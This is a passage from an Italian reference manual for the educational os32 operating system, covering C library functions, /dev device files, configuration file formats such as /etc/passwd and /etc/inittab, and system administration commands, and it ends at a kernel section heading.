Le funzioni ***strtol()*** e ***strtoul()***, convertono la stringa ***string*** in un numero, intendendo la sequenza di caratteri nella base di numerazione indicata come ultimo argomento (***base***). Tuttavia, la base di numerazione potrebbe essere omessa (valore zero) e in tal caso la stringa deve essere interpretata ugualmente in qualche modo: se (dopo un segno eventuale) inizia con zero seguito da un'altra cifra numerica, deve trattarsi di una sequenza ottale; se inizia con zero, quindi appare una lettera «x» deve trattarsi di un numero esadecimale; se inizia con una cifra numerica diversa da zero, deve trattarsi di un numero in base dieci.

La traduzione della stringa ha luogo progressivamente, arrestandosi quando si incontra un carattere incompatibile con la base di numerazione selezionata o stabilita automaticamente. Il valore convertito viene restituito; inoltre, se il puntatore ***endptr*** è valido (diverso da '**NULL**'), si assegna a ****endptr*** la posizione raggiunta nella stringa, corrispondente al primo carattere che non può essere convertito. Pertanto, nello stesso modo, se la stringa non può essere convertita affatto e si può assegnare qualcosa a ****endptr***, alla fine, ****endptr*** corrisponde esattamente a ***string***.

VALORE RESTITUITO

Le funzioni restituiscono il valore tratto dall'interpretazione della stringa, ammesso che sia rappresentabile, altrimenti si ottiene '**LONG_MIN**' o '**LONG_MAX**', a seconda dei casi, sapendo che occorre consultare la variabile ***errno*** per maggiori dettagli.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`ERANGE`	Il valore risultante è al di fuori dell'intervallo ammissibile per la rappresentazione.

DIFETTI

La realizzazione di ***strtoul()*** è incompleta, in quanto si limita a utilizzare ***strtol()***, convertendo il risultato in un valore senza segno.

FILE SORGENTI

'`lib/stdlib.h`' [120.13]

'`lib/stdlib/strtol.c`' [120.13.19]

'`lib/stdlib/strtoul.c`' [120.13.20]

113.124 os32: strtoul(3)

Vedere *strtol(3)* [113.123].

113.125 os32: strxfrm(3)

NOME

'**`strxfrm`**' - *string transform*, ovvero trasformazione di una stringa

SINTASSI

```
#include <string.h>
size_t strxfrm (char *restrict dst, const char *restrict org,
                size_t n);
```

DESCRIZIONE

Lo scopo della funzione ***strxfrm()*** sarebbe quello di copiare la stringa ***org***, sovrascrivendo ***dst***, fino a un massimo di ***n*** caratteri nella destinazione, ma applicando una trasformazione relativa alla configurazione locale.

os32 non gestisce la configurazione locale, pertanto questa funzione si comporta in modo simile a ***strncpy()***, con una differenza in ciò che viene restituito.

VALORE RESTITUITO

La funzione restituisce la quantità di byte utilizzati per contenere la trasformazione in ***dst***, senza però contare il carattere nullo di terminazione.

FILE SORGENTI

'`lib/string.h`' [120.14]

'`lib/string/strxfrm.c`' [120.14.24]

VEDERE ANCHE

memcmp(3) [113.74], *strcmp(3)* [113.108], *strcoll(3)* [113.108].

113.126 os32: ttyname(3)

NOME

'**ttyname**' - determinazione del percorso del file di dispositivo di un terminale aperto

SINTASSI

```
#include <unistd.h>
char *ttyname (int fdn);
```

DESCRIZIONE

La funzione ***ttyname()*** richiede come unico argomento il numero che identifica il descrittore di un file. Ammesso che tale descrittore si riferisca a un terminale, la funzione restituisce il puntatore a una stringa che rappresenta il percorso del file di dispositivo corrispondente.

La stringa in questione viene modificata se si usa la funzione in altre occasioni.

VALORE RESTITUITO

La funzione restituisce il puntatore a una stringa che descrive il percorso del file di dispositivo, presunto, del terminale aperto con il numero ***fdn***. Se non si tratta di un terminale, si ottiene un errore. In ogni caso, se la funzione non può restituire un'informazione corretta, produce semplicemente il puntatore nullo e aggiorna la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file indicato non è valido.
`ENOTTY`	Il descrittore di file indicato non riguarda un terminale.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/ttyname.c`' [120.21.41]

VEDERE ANCHE

stat(2) [112.45], *isatty(3)* [113.64].

113.127 os32: unsetenv(3)

Vedere *setenv(3)* [113.97].

113.128 os32: vfprintf(3)

Vedere *vprintf(3)* [113.130].

113.129 os32: vfscanf(3)

Vedere *vfscanf(3)* [113.131].

113.130 os32: vprintf(3)

NOME

'**vprintf**', '**vfprintf**', '**vsprintf**', '**vsnprintf**' - composizione dei dati per la visualizzazione

SINTASSI

```
#include <stdarg.h>
#include <stdio.h>
int vprintf   (char *restrict format, va_list arg);
int vfprintf  (FILE *fp, char *restrict format, va_list arg);
int vsnprintf (char *restrict string, size_t size,
               const char *restrict format, va_list ap);
int vsprintf  (char *string, char *restrict format, va_list arg);
```

DESCRIZIONE

Le funzioni del gruppo '**v...printf()**' hanno in comune lo scopo di comporre dei dati in forma di stringa, generalmente per la visualizzazione, o comunque per la fruizione a livello umano.

I dati in ingresso possono essere vari e vengono comunicati attraverso un puntatore di tipo '**va_list**'. Per quantificare e qualificare questi dati in ingresso, la stringa a cui punta il parametro ***format***, deve contenere degli ***specificatori di conversione***, oltre eventualmente ad altri caratteri. Pertanto, queste funzioni, prendono la stringa a cui punta ***format***, la interpretano e determinano come scandire gli argomenti a cui fa riferimento il puntatore ***arg***, quindi producono un'altra stringa, composta dalla stringa precedente, sostituendo gli specificatori di conversione con i dati a cui questi si riferiscono, secondo una forma di conversione definita dagli specificatori stessi.

In generale, le funzioni '**v...printf()**' servono per realizzare le altre funzioni '**...printf()**', le quali invece ricevono gli argomenti variabili direttamente. Per esempio, la funzione ***printf()*** può essere realizzata utilizzando in pratica ***vprintf()***:

```
#include <stdio.h>
#include <stdarg.h>
int
printf (char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return (vprintf (format, ap));
}
```

Si veda *printf(3)* [113.84], per la descrizione di come va predisposta la stringa ***format***. Nella realizzazione di os32, di tutte queste funzioni, quella che compie effettivamente il lavoro di interpretazione della stringa di formato e che in qualche modo viene chiamata da tutte le altre, è soltanto ***vsnprintf()***.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di caratteri utilizzati nella composizione della nuova stringa, escluso il carattere nullo di terminazione.

FILE SORGENTI

'`lib/stdarg.h`' [120.1.10]

'`lib/stdio.h`' [120.12]

'`lib/stdio/FILE.c`' [120.12.1]

'`lib/stdio/vfprintf.c`' [120.12.37]

'`lib/stdio/vprintf.c`' [120.12.40]

'`lib/stdio/vsprintf.c`' [120.12.43]

'`lib/stdio/vsnprintf.c`' [120.12.42]

VEDERE ANCHE

fprintf(3) [113.84], *printf(3)* [113.84], *sprintf(3)* [113.84], *snprintf(3)* [113.84], *scanf(3)* [113.95].

113.131 os32: vscanf(3)

NOME

'**`vscanf`**', '**`vfscanf`**', '**`vsscanf`**' - interpretazione dell'input e conversione

SINTASSI

```
#include <stdarg.h>
#include <stdio.h>
int vscanf  (const char *restrict format, va_list ap);
int vfscanf (FILE *restrict fp, const char *restrict format,
             va_list ap);
int vsscanf (const char *string, const char *restrict format,
             va_list ap);
```

DESCRIZIONE

Le funzioni del gruppo '**`v...scanf()`**' hanno in comune lo scopo di interpretare dei dati, forniti in forma di stringa, convertendoli opportunamente.

I dati in ingresso sono costituiti da una sequenza di caratteri, la quale viene fornita tramite lo standard input per ***vscanf()***, tramite il flusso di file ***fp*** per ***vfscanf()***, oppure tramite la stringa ***string*** per ***vsscanf()***. L'interpretazione dei dati in ingresso viene guidata da una stringa di formato, costituita dal parametro ***format***, per le tre funzioni. La stringa di formato contiene degli ***specificatori di conversione***, con cui si determina il tipo degli argomenti variabili a cui punta inizialmente ***ap***.

Queste funzioni servono per realizzare in pratica quelle corrispondenti che hanno nomi privi della lettera «v» iniziale. Per esempio, per ottenere ***scanf()*** si può utilizzare ***vscanf()***:

```
#include <stdio.h>
#include <stdarg.h>
int
scanf (const char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return vscanf (format, ap);
}
```

Il modo in cui va predisposta la stringa di formato (***format***) è descritto in *scanf(3)* [113.95]. La funzione più importante di questo gruppo, in quanto svolge effettivamente il lavoro di interpretazione e viene chiamata, più o meno indirettamente, da tutte le altre, è ***vfsscanf()***, la quale però non è standard.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di elementi in ingresso interpretati e assegnati correttamente: una quantità inferiore al previsto indica pertanto un errore. Se le funzioni restituiscono il valore '**`EOF`**', si tratta di un errore, dovuto eventualmente a un problema di interpretazione del formato o a un problema di accesso al flusso di file da cui deve provenire l'input.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione di accesso non consentita.
`EACCES`	Accesso non consentito.
`EBADF`	Il descrittore del file a cui si riferisce il flusso, non è valido.
`ERANGE`	Il risultato della conversione di un intero, non può essere memorizzato nel tipo di variabile a cui si riferisce lo specificatore di conversione.

FILE SORGENTI

'`lib/stdio.h`' [120.12]

‘`lib/stdio/vfscanf.c`’ [120.12.38]

‘`lib/stdio/vscanf.c`’ [120.12.41]

‘`lib/stdio/vsscanf.c`’ [120.12.44]

‘`lib/stdio/vfsscanf.c`’ [120.12.39]

VEDERE ANCHE

fscanf(3) [113.95], *scanf(3)* [113.95], *sscanf(3)* [113.95], *printf(3)* [113.84].

113.132 os32: vsnprintf(3)

Vedere *vprintf(3)* [113.130].

113.133 os32: vsprintf(3)

Vedere *vprintf(3)* [113.130].

113.134 os32: vsscanf(3)

Vedere *vsscanf(3)* [113.131].

Sezione 4: file speciali

Capitolo 114

114.1 os32: console(4)

NOME

'/dev/console' - file di dispositivo che rappresenta la console e le console virtuali

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/console'	file di dispositivo a caratteri	5	255	0644_8
'/dev/console0'	file di dispositivo a caratteri	5	0	0644_8
'/dev/console1'	file di dispositivo a caratteri	5	1	0644_8
'/dev/console2'	file di dispositivo a caratteri	5	2	0644_8
'/dev/console3'	file di dispositivo a caratteri	5	3	0644_8

DESCRIZIONE

Il file di dispositivo '/dev/console' rappresenta la console virtuale attiva in un certo momento; i file '/etc/console***n***' rappresentano la console virtuale ***n***, dove ***n*** va da zero a quattro.

I permessi di accesso a questi file di dispositivo sono limitati in modo da consentire solo al proprietario di accedere in scrittura. Tuttavia, per i file di dispositivo usati effettivamente come terminali di controllo, i permessi e la proprietà sono gestiti automaticamente dai programmi '**getty**' e '**login**'.

VEDERE ANCHE

MAKEDEV(8) [117.3], *tty(4)* [114.11].

114.2 os32: ata(4)

NOME

'/dev/ata***n***' - file di dispositivo per le unità di memorizzazione a disco ATA.

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/ata0'	file di dispositivo a blocchi	6	0	0644_8
'/dev/ata1'	file di dispositivo a blocchi	6	1	0644_8
'/dev/ata2'	file di dispositivo a blocchi	6	2	0644_8
'/dev/ata3'	file di dispositivo a blocchi	6	3	0644_8
'/dev/ata4'	file di dispositivo a blocchi	6	4	0644_8
'/dev/ata5'	file di dispositivo a blocchi	6	5	0644_8
'/dev/ata6'	file di dispositivo a blocchi	6	6	0644_8
'/dev/ata7'	file di dispositivo a blocchi	7	6	0644_8

DESCRIZIONE

I file di dispositivo '`/dev/ata`***n***' rappresentano, ognuno, un'unità di memorizzazione a disco ATA. La prima unità è '`/dev/ata0`', quelle successive procedono con la numerazione.

os32 gestisce solo unità a disco ATA; inoltre, non è ammissibile la suddivisione in partizioni.

VEDERE ANCHE

MAKEDEV(8) [117.3].

114.3 os32: kmem_file(4)

NOME

'`/dev/kmem_file`' - accesso alla memoria del kernel contenente la tabella dei file

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_file'	file di dispositivo a caratteri	4	5	0444_8

DESCRIZIONE

Il file di dispositivo '`/dev/kmem_file`' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei file. La tabella dei file è un array di '**`FILE_MAX_SLOTS`**' elementi, di tipo '**`file_t`**', secondo le definizioni contenute nel file '`kernel/fs.h`'.

VEDERE ANCHE

MAKEDEV(8) [117.3], *kmem_ps(4)* [114.6], *kmem_mmp(4)* [114.5], *kmem_sb(4)* [114.7], *kmem_inode(4)* [114.4].

114.4 os32: kmem_inode(4)

NOME

'/dev/kmem_inode' - accesso alla memoria del kernel contenente la tabella degli inode

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_inode'	file di dispositivo a caratteri	4	4	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_inode' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella degli inode. La tabella degli inode è un array di '**INODE_MAX_SLOTS**' elementi, di tipo '**inode_t**', secondo le definizioni contenute nel file 'kernel/fs.h'.

VEDERE ANCHE

MAKEDEV(8) [117.3], *kmem_ps(4)* [114.6], *kmem_mmp(4)* [114.5], *kmem_sb(4)* [114.7], *kmem_file(4)* [114.3].

114.5 os32: kmem_mmp(4)

NOME

'/dev/kmem_mmp' - accesso alla memoria del kernel contenente la mappa di utilizzo della memoria

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_mmp'	file di dispositivo a caratteri	4	2	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_mmp' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la mappa di utilizzo della memoria.

VEDERE ANCHE

MAKEDEV(8) [117.3], *kmem_ps(4)* [114.6], *kmem_sb(4)* [114.7], *kmem_inode(4)* [114.4], *kmem_file(4)* [114.3].

114.6 os32: kmem_ps(4)

NOME

'/dev/kmem_ps' - accesso alla memoria del kernel contenente lo stato dei processi

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_ps'	file di dispositivo a caratteri	4	1	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_ps' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei processi. La tabella dei processi è un array di '**PROCESS_MAX**' elementi, di tipo '**proc_t**', secondo le definizioni contenute nel file 'kernel/proc.h'. Questo meccanismo viene usato dal programma '**ps**' per leggere e visualizzare lo stato dei processi.

VEDERE ANCHE

MAKEDEV(8) [117.3], *kmem_mmp(4)* [114.5], *kmem_sb(4)* [114.7], *kmem_inode(4)* [114.4], *kmem_file(4)* [114.3].

114.7 os32: kmem_sb(4)

NOME

'/dev/kmem_sb' - accesso alla memoria del kernel contenente la tabella dei super blocchi

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_sb'	file di dispositivo a caratteri	4	3	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_sb' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei super blocchi. La tabella dei super blocchi è un array di '**SB_MAX_SLOTS**' elementi, di tipo '**sb_t**', secondo le definizioni contenute nel file 'kernel/fs.h'.

VEDERE ANCHE

MAKEDEV(8) [117.3], *kmem_ps(4)* [114.6], *kmem_mmp(4)* [114.5], *kmem_inode(4)* [114.4], *kmem_file(4)* [114.3].

114.8 os32: mem(4)

NOME

'/dev/mem' - file di dispositivo per l'acceso alla memoria del processo

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/mem'	file di dispositivo a caratteri	1	1	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/mem' consente di leggere la memoria del processo.

VEDERE ANCHE

MAKEDEV(8) [117.3].

114.9 os32: null(4)

NOME

'/dev/null' - file di dispositivo per la distruzione dei dati

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/null'	file di dispositivo a caratteri	1	2	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/null' appare in lettura come un file completamente vuoto, mentre in scrittura è un file in cui si può scrivere indefinitivamente, perdendo però i dati che vi si immettono.

VEDERE ANCHE

MAKEDEV(8) [117.3], *zero(4)* [114.12].

114.10 os32: port(4)

NOME

'/dev/port' - file di dispositivo per accedere alle porte di I/O

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/port'	file di dispositivo a caratteri	1	3	0644_8

DESCRIZIONE

Il file di dispositivo '/dev/port' consente di accedere alle porte di I/O. Tali porte consentono di leggere uno o al massimo due byte, pertanto la dimensione della lettura può essere '**(size_t) 1**' oppure '**(size_t) 2**'. Per selezionare l'indirizzo della porta occorre posizionare il riferimento interno al file a un indirizzo pari a quello della porta, prima di eseguire la lettura o la scrittura.

VEDERE ANCHE

MAKEDEV(8) [117.3], *mem(4)* [114.8].

114.11 os32: tty(4)

NOME

'/dev/tty' - file di dispositivo che rappresenta il terminale di controllo del processo

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/tty'	file di dispositivo a caratteri	2	0	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/tty' rappresenta il terminale di controllo del processo; in altri termini, il processo che accede al file '/dev/tty', raggiunge il proprio terminale di controllo.

VEDERE ANCHE

MAKEDEV(8) [117.3], *console(4)* [114.1].

114.12 os32: zero(4)

NOME

'/dev/zero' - file di dispositivo per la produzione del valore zero

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/zero'	file di dispositivo a caratteri	1	4	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/zero' appare in lettura come un file di lunghezza indefinita, contenente esclusivamente il valore zero (lo zero binario), mentre in scrittura è un file in cui si può scrivere indefinitivamente, perdendo però i dati che vi si immettono.

VEDERE ANCHE

MAKEDEV(8) [117.3], *null(4)* [114.9].

Capitolo 115 Sezione 5: formato dei file e convenzioni

115.1 os32: group(5)

NOME

'/etc/group' - elenco dei gruppi

DESCRIZIONE

Il file '/etc/group' contiene l'elenco dei gruppi di utenti del sistema, uno per ogni riga. Le righe sono divise in quattro campi, delimitati con il carattere due punti (:), come nell'esempio seguente, che rappresenta l'impostazione predefinita di os32:

```
root:x:0:
user:y:233:
```

I campi hanno il significato descritto nell'elenco seguente:

1. nominativo utente;
2. parola d'ordine, ma non usato, anche se **è comunque necessario scriverci qualcosa**;
3. numero GID, ovvero il numero del gruppo;
4. elenco di utenti aggregati, separati da una virgola, ma questa informazione non viene usata da os32.

Il file deve essere accessibile in lettura a tutti gli utenti.

VEDERE ANCHE

login(1) [111.14].

115.2 os32: inittab(5)

NOME

'/etc/inittab' - configurazione di '**init**'

DESCRIZIONE

Il file '/etc/inittab' contiene la configurazione di '**init**', per la definizione dei processi da avviare per la messa in funzione del sistema operativo. Il file può contenere dei commenti, preceduti dal carattere «#» e «voci» costituite da righe suddivise in quattro campi, separati da due punti (:), come nell'esempio seguente:

```
c0:1:respawn:/bin/getty /dev/console0
c1:1:respawn:/bin/getty /dev/console1
c2:1:respawn:/bin/getty /dev/console2
c3:1:respawn:/bin/getty /dev/console3
```

I campi hanno il significato descritto nell'elenco seguente:

1. codice che identifica univocamente la voce;
2. i livelli di esecuzione per cui la voce è valida;
3. l'azione da compiere sulla voce;
4. il programma da avviare, con tutte le opzioni e gli argomenti necessari.

Il programma '**init**' di os32 non distingue i livelli di esecuzione e considera soltanto l'azione '**respawn**', con la quale si intende che '**init**' debba riavviare il processo, quando questo muore, o comunque quando muore quel processo che ha preso il suo posto.

VEDERE ANCHE

init(8) [117.2], *getty(8)* [117.1], *login(1)* [111.14].

115.3 os32: issue(5)

NOME

'/etc/issue' - messaggio che precede '**login**'

DESCRIZIONE

Il file '/etc/issue' viene visualizzato da '**getty**', prima dell'avvio di '**login**'. Il contenuto predefinito di questo file, per os32, è il seguente:

```
os32: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
```

Il programma '**getty**' di os32 non è in grado di interpretare il contenuto del file, pertanto lo visualizza letteralmente; tuttavia, '**getty**' mostra, indipendentemente dalla presenza e dal contenuto del file '/etc/issue', delle informazioni sul terminale per il quale è in funzione.

VEDERE ANCHE

getty(8) [117.1].

115.4 os32: passwd(5)

NOME

'/etc/passwd' - elenco delle utenze

DESCRIZIONE

Il file '/etc/passwd' contiene l'elenco degli utenti del sistema, uno per ogni riga. Le righe sono divise in sette campi, delimitati con il carattere due punti (:), come nell'esempio seguente, che rappresenta l'impostazione predefinita di os32:

```
root:ciao:0:0:root:/root:/bin/shell
user:ciao:1001:1001:test user:/home/user:/bin/shell
```

I campi hanno il significato descritto nell'elenco seguente:

1. nominativo utente;

2. parola d'ordine, in chiaro, per l'identificazione con il programma '**`login`**';
3. numero UID, ovvero il numero dell'utente;
4. numero GID, ovvero il numero del gruppo;
5. descrizione dell'utenza;
6. shell.

Trattandosi di un sistema operativo elementare, la parola d'ordine appare in chiaro nel secondo campo, senza altri accorgimenti. Inoltre, il file deve essere accessibile in lettura a tutti gli utenti.

VEDERE ANCHE

login(1) [111.14].

Sezione 7: varie

116.1 os32: environ(7)

NOME

'**environ**' - ambiente del processo elaborativo

SINTASSI

```
extern char **environ;
```

DESCRIZIONE

La variabile ***environ***, dichiarata nel file 'unistd.h', punta a un array di stringhe, ognuna delle quali rappresenta una variabile di ambiente, con il valore a lei assegnato. Pertanto, il contenuto di queste stringhe ha una forma del tipo '***nome*=*valore***'. Per esempio '**HOME=/home/user**'.

In generale, l'accesso diretto ai contenuti di questo array non è conveniente, in quanto sono disponibili delle funzioni che facilitano la gestione di questi dati in forma di variabili di ambiente.

Dal momento che le funzioni di accesso alle informazioni sulle variabili di ambiente sono definite nel file 'stdlib.h', la gestione effettiva dell'array di stringhe a cui punta ***environ*** è inserita nei file contenuti nella directory 'lib/stdlib/' di os32. Per la precisione, nel file 'lib/stdlib/environment.c' si dichiara l'array di caratteri ***_environment_table[][]*** e array di puntatori a caratteri ***_environment[]***:

```
char  _environment_table[ARG_MAX/32][ARG_MAX/16];
char *_environment[ARG_MAX/32+1];
```

L'array ***_environment_table[][]*** viene inizializzato con lo stato delle variabili di ambiente ereditate con l'avvio del processo; inoltre, all'array ***_environment[]*** vengono assegnati i puntatori alle varie stringhe che si possono estrapolare da ***_environment_table[]***. Questo lavoro iniziale avviene per opera della funzione ***_environment_setup()***, la quale viene avviata a sua volta dal file 'crt0.s'. Successivamente, nello stesso file 'crt0.s', viene copiato l'indirizzo dell'***_environment[]*** nella variabile ***environ***, di cui sopra.

FILE SORGENTI

'lib/unistd.h' [120.21]

'lib/stdlib.h' [120.13]

'lib/unistd/environ.c' [120.21.9]

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'lib/stdlib/environment.c' [120.13.8]

'lib/stdlib/getenv.c' [120.13.10]

'lib/stdlib/putenv.c' [120.13.15]

'lib/stdlib/setenv.c' [120.13.18]

'lib/stdlib/unsetenv.c' [120.13.21]

VEDERE ANCHE

getenv(3) [113.51], *putenv(3)* [113.87], *setenv(3)* [113.97], *unsetenv(3)* [113.97].

116.2 os32: undocumented(7)

Questa sezione ha il solo scopo di raccogliere i riferimenti ipertestuali dei listati che, per qualche ragione, sono privi di una documentazione specifica.

Capitolo 117 Sezione 8: comandi per l'amministrazione del sistema

117.1 os32: getty(8)

NOME

'**getty**' - predisposizione di un terminale e avvio di '**login**'

SINTASSI

```
getty terminale
```

DESCRIZIONE

Il programma '**getty**' viene avviato da '**init**' per predisporre il terminale, ripristinando anche i permessi predefiniti, e per avviare successivamente il programma '**login**'. Prima di avviare '**login**', '**getty**' visualizza il contenuto del file '`/etc/issue`', se disponibile, inoltre mostra almeno l'indicazione del terminale attuale. Va osservato che questa realizzazione di '**getty**' lascia a '**login**' il compito di chiedere l'inserimento del nominativo utente.

FILE

'`/etc/issue`'

'**getty**' visualizza il contenuto di questo file prima di avviare '**login**'.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/getty.c`' [121.1.15]

VEDERE ANCHE

login(1) [111.14], *issue(5)* [115.3].

117.2 os32: init(8)

NOME

'**init**' - progenitore di tutti gli altri processi

SINTASSI

```
init
```

DESCRIZIONE

Il programma '**init**' viene avviato dal kernel (deve trattarsi precisamente del file '/bin/init') come primo e unico processo figlio del kernel stesso. Pertanto, '**init**' deve assumere il numero PID uno.

Questa realizzazione di '**init**' si limita a leggere il file '/etc/inittab' per determinare quali programmi figli avviare, senza poter distinguere da diversi livelli di esecuzione. In pratica, all'interno di questo file si indica l'uso di '**getty**', per la gestione dei terminali disponibili.

FILE

'/etc/inittab'
: Contiene l'indicazione dei processi che '**init**' deve avviare.

DIFETTI

Con os32 non è possibile associare ai segnali un'azione diversa da quella predefinita; quindi '**init**' non può essere informato dell'intenzione di arrestare il sistema. Pertanto, tale funzionalità non è stata realizzata nella versione di '**init**' di os32.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/init.c' [121.1.16]

VEDERE ANCHE

inittab(5) [115.2].

117.3 os32: MAKEDEV(8)

NOME

'**MAKEDEV**' - creazione dei file di dispositivo

SINTASSI

```
MAKEDEV
```

DESCRIZIONE

'**MAKEDEV**' è un programma che crea, nella directory corrente, tutti i file di dispositivo previsti per os32. Tali file devono trovarsi normalmente nella directory '/dev/', pertanto, prima di usare '**MAKEDEV**' è necessario che la directory corrente corrisponda precisamente a tale posizione.

OPZIONI

Non sono previste opzioni per l'uso di '**MAKEDEV**', dal momento che vengono creati tutti i file di dispositivo, considerato il loro numero limitato.

NOTE

Tradizionalmente '**MAKEDEV**' viene realizzato in forma di script, ma os32 non dispone di una shell adeguata e non è possibile utilizzare script.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'lib/sys/os32.h' [120.15]

'applic/MAKEDEV.c' [121.1.1]

117.4 os32: mount(8)

NOME

'**mount**', '**umount**' - innesto e distacco di un file system

SINTASSI

mount ***dispositivo*** ***dir_innesto*** [***opzioni***]

umount ***directory***

DESCRIZIONE

'**mount**' innesta il file system contenuto nell'unità di memorizzazione rappresentata dal file di dispositivo che va indicato come primo argomento, nella directory che appare come secondo argomento. Eventualmente si possono specificare delle opzioni di innesto, come terzo argomento.

'**umount**' stacca il file system innestato precedentemente nella directory indicata come unico argomento del comando.

OPZIONI DI INNESTO

Opzione	Descrizione
ro	Innesta il file system in sola lettura.
rw	Innesta il file system in lettura e scrittura. Si tratta comunque del comportamento predefinito, in mancanza di un'opzione contraria.

DIFETTI

Non viene preso in considerazione un eventuale file '/etc/fstab'; inoltre, l'utente non può conoscere lo stato degli innesti già in essere e, a questo proposito, l'uso di '**mount**' senza argomenti produce semplicemente un errore.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

‘`applic/crt0.sep.s`’ [121.1.12]

‘`applic/mount.c`’ [121.1.25]

‘`applic/umount.c`’ [121.1.39]

117.5 os32: umount(8)

Vedere *mount(8)* [117.4].

Capitolo 118

Sezione 9: kernel

118.1 os32: ata(9)

Il file '`kernel/driver/ata.h`' [119.4.3] descrive le funzioni per la gestione delle unità a disco PATA.

Per la descrizione dell'organizzazione della gestione delle unità PATA di os32, si rimanda alla sezione 109.7.7. La tabella successiva che sintetizza l'uso delle funzioni di questo gruppo, è tratta da lì.

Tabella 109.93. Funzioni per la gestione delle unità PATA, dichiarate nel file di intestazione '`kernel/driver/ata.h`' e descritte nei file contenuti nella directory '`kernel/driver/ata/`'. Le funzioni sono raggruppate in insiemi logici.

Funzione	Descrizione
`void ata_init (void);`	Inizializza la gestione delle unità PATA, predisponendo i contenuti della tabella ***ata_table[]***, verificando la presenza delle unità. Questa funzione viene usata una volta sola, nella funzione ***proc_init()***.
`void ata_reset (int drive);`	Azzera lo stato di funzionamento dell'unità PATA specificata.
`int ata_valid (int drive);`	Verifica se l'unità richiesta è presente effettivamente. In caso di successo restituisce il valore zero, altrimenti si ottiene −1.

Funzione	Descrizione
`int ata_cmd_identify_device (int drive, void *buffer);`	Richiede all'unità specificata le informazioni sulla sua identificazione. Se l'unità è presente, in corrispondenza del puntatore fornito si ottengono le informazioni nello spazio di un settore (***ATA_SECTOR_SIZE***); l'analisi successiva di questi dati può dare maggiori informazioni sull'unità.
`int ata_cmd_read_sectors (int drive, unsigned int sector, unsigned char count, void *buffer);`	Legge dall'unità ***drive***, a partire dal settore ***sector***, una quantità pari a ***count*** settori, mettendo il risultato a partire dall'indirizzo di memoria ***buffer***. Se ***count*** fosse pari a zero, si intenderebbero 256 settori. Se l'operazione fallisce, restituisce un valore negativo.
`int ata_cmd_write_sectors (int drive, unsigned int sector, unsigned char count, void *buffer);`	Scrive nell'unità ***drive***, a partire dal settore ***sector***, una quantità pari a ***count*** settori, leggendoli a partire dall'indirizzo di memoria ***buffer***. Se ***count*** fosse pari a zero, si intenderebbero 256 settori. Se l'operazione fallisce, restituisce un valore negativo.
`int ata_device (int drive, unsigned int sector);`	Imposta il registro ***device*** dell'unità PATA specificata, con l'indicazione di un numero di settore.

Funzione	Descrizione
`int ata_rdy (int drive, clock_t timeout);`	Attende che l'unità ***drive*** sia pronta, purché ciò avvenga entro il tempo ***timeout***. Se l'operazione ha successo, la funzione restituisce zero, altrimenti dà un valore negativo.
`int ata_drq (int drive, clock_t timeout);`	Attende che l'unità ***drive*** sia pronta a ricevere dati, purché ciò avvenga entro il tempo ***timeout***. Se l'operazione ha successo, la funzione restituisce zero, altrimenti dà un valore negativo.
`int ata_lba28 (int drive, unsigned int sector, unsigned char count);`	Invia all'unità ***drive*** la prima parte di un comando, in cui sono contenute le coordinate LBA28.

Funzione	Descrizione
`int ata_read_sector (int drive, unsigned int sector, void *buffer);`	È una macro-istruzione che legge dall'unità ***drive***, il settore ***sector***, mettendo il risultato a partire dall'indirizzo di memoria ***buffer***. La macro-istruzione si avvale praticamente della funzione ***ata_cmd_read_sectors()***, per leggere un solo settore.
`int ata_write_sector (int drive, unsigned int sector, void *buffer);`	È una macro-istruzione che scrive nell'unità ***drive***, il settore ***sector***, traendo i dati dall'indirizzo di memoria ***buffer***. La macro-istruzione si avvale praticamente della funzione ***ata_cmd_write_sectors()***, per scrivere un solo settore.

118.2 os32: blk(9)

